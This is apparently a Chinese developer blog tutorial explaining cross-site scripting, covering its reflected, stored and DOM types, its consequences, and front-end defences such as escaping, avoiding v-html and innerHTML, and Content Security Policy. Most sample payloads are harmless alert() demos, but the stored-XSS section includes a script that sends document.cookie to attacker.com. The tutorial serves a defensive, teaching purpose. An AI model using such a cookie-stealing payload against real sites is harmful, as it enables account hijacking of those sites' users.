🚨XSS 攻击全解:什么是跨站脚本攻击?前端如何防御?

你也许听过 "XSS 漏洞",但它到底是怎么产生的?为什么一段 <script> 标签就能"接管你的网站"?本文将用开发者能懂的方式,一步步讲清楚 XSS 是什么、有哪些类型、会造成什么后果,以及我们该如何防御它。


🧠 一句话理解 XSS

XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本注入网页,一旦其他用户访问了这个网页,脚本就在用户浏览器中执行,从而达到"劫持用户"的目的。


💥 一个经典 XSS 示例

你的网站允许用户提交评论,你这样渲染:

css 复制代码
<div>用户评论:{{ comment }}</div>

有一天,攻击者输入:

xml 复制代码
<script>alert('你被XSS了!')</script>

如果你没有做任何转义,最终页面会变成:

xml 复制代码
<div>用户评论:<script>alert('你被XSS了!')</script></div>

这段脚本真的会在其他访问页面的用户浏览器里执行!

而 alert 只是冰山一角,真正的攻击可能是:

  • 窃取用户 Cookie
  • 模拟用户操作
  • 注入木马下载链接
  • 劫持页面跳转
  • 记录用户输入(键盘监听)

🧭 XSS 有哪些类型?

XSS 攻击分为三大类:反射型、存储型、DOM 型

下面用最简洁、最实用的例子来区分这三类:


1️⃣ 反射型 XSS(Reflective)

恶意代码在 URL 参数中,服务器直接反射回来。

🧪 示例:

用户访问这个链接:

xml 复制代码
https://example.com?msg=<script>alert('XSS')</script>

后端没有处理,直接原样渲染:

css 复制代码
<p>你输入了:{{ msg }}</p>

⚠️ 用户一打开链接,XSS 就立即触发。

这种攻击方式通常结合钓鱼邮件/二维码传播,一旦点击就中招。


2️⃣ 存储型 XSS(Stored)

恶意代码存储在数据库中,其他用户访问时才触发。

🧪 示例:

攻击者发布一条评论:

xml 复制代码
<script>fetch('http://attacker.com/cookie?data=' + document.cookie)</script>

这条评论保存在数据库,其他访问这个页面的用户都会触发 XSS

⚠️ 危害最大,持久生效,常见于论坛、博客、留言板、商城评论区等。


3️⃣ DOM 型 XSS(前端操作 DOM 时中招)

恶意代码不通过服务器,而是直接注入到前端脚本中。

🧪 示例:

xml 复制代码
<script>
  const hash = location.hash // #<script>alert(1)</script>
  document.getElementById('msg').innerHTML = hash
</script>

攻击者通过 URL 将恶意内容放入 location.hash,前端开发者将它 innerHTML 进页面,XSS 即刻执行。


📉 XSS 会造成什么后果?

  1. 盗取用户 Cookie(可以伪造登录)

  2. 控制用户账号行为(转账、发帖、点赞等)

  3. 植入钓鱼页面或假登录框

  4. 传播病毒木马

  5. 监听用户输入(键盘记录)

XSS 本质上是:用你的网页当"跑马场",让攻击者的脚本在你的用户浏览器上做坏事。


🛡 如何防御 XSS?前端开发者必须掌握的几点

✅ 1. 所有输出内容必须转义

不要直接插入用户内容到 HTML!必须转义:

xml 复制代码
<!-- ❌ 危险 -->
<div>{{ comment }}</div>

<!-- ✅ 安全 -->
<div v-text="comment"></div> <!-- Vue 会自动转义 -->

或者后端输出也进行转义:

  • < 替换成 <
  • 替换成 >

  • " 替换成 "
  • ' 替换成 '

✅ 2. 禁止使用

v-html

渲染用户内容

xml 复制代码
<!-- ❌ 高风险 -->
<div v-html="userInput"></div>

v-html 会将字符串当作 HTML 插入页面,非常容易被 XSS 利用。

⚠️ 如果你一定要用,请确保内容经过严格白名单过滤(如 DOMPurify)。


✅ 3. 前端不要使用

innerHTML

动态插入不可信内容

ini 复制代码
// ❌ 不要这样做
el.innerHTML = userComment

使用 safer API:

ini 复制代码
el.textContent = userComment // 安全,自动转义

✅ 4. 后端设置 Content Security Policy(CSP)

通过 HTTP 头部告诉浏览器:哪些脚本是可信的,禁止页面执行不受信任的脚本。

arduino 复制代码
Content-Security-Policy: default-src 'self'

效果是即使页面被插入了 ,也不会被浏览器执行。


✅ 5. 使用 Web 安全框架或组件

前端:Vue、React 默认对模板输出做了转义

后端:Laravel、Spring Boot、Django、Express 等框架也提供自动转义机制

但你要记住:安全永远不能只靠框架,自己的代码也要小心。


🔎 一些你可能忽略的"隐形"XSS 注入点

场景 风险点
动态设置 href, src javascript: 协议可能执行代码
SVG 中嵌入 浏览器可能解析执行
富文本编辑器 若不过滤,可能被注入脚本
input 的 value 属性 也会被插入 HTML,需转义

📌 总结:记住这五句话,防住 90% 的 XSS

  1. 所有用户输入都不可信!必须验证 + 转义
  2. 千万不要使用 v-html、innerHTML 渲染不受控内容
  3. 不要用 javascript: 协议当作链接地址
  4. 输入和输出都需要防御 XSS,不是"后端的锅"
  5. 设置 CSP 安全策略,最后一层防线

📮 欢迎关注我

相关推荐
GISer_Jing2 小时前
前端面试通关:Cesium+Three+React优化+TypeScript实战+ECharts性能方案
前端·react.js·面试
落霞的思绪3 小时前
CSS复习
前端·css
咖啡の猫5 小时前
Shell脚本-for循环应用案例
前端·chrome
百万蹄蹄向前冲7 小时前
Trae分析Phaser.js游戏《洋葱头捡星星》
前端·游戏开发·trae
朝阳5818 小时前
在浏览器端使用 xml2js 遇到的报错及解决方法
前端
GIS之路8 小时前
GeoTools 读取影像元数据
前端
ssshooter9 小时前
VSCode 自带的 TS 版本可能跟项目TS 版本不一样
前端·面试·typescript
Jerry9 小时前
Jetpack Compose 中的状态
前端
dae bal10 小时前
关于RSA和AES加密
前端·vue.js
柳杉10 小时前
使用three.js搭建3d隧道监测-2
前端·javascript·数据可视化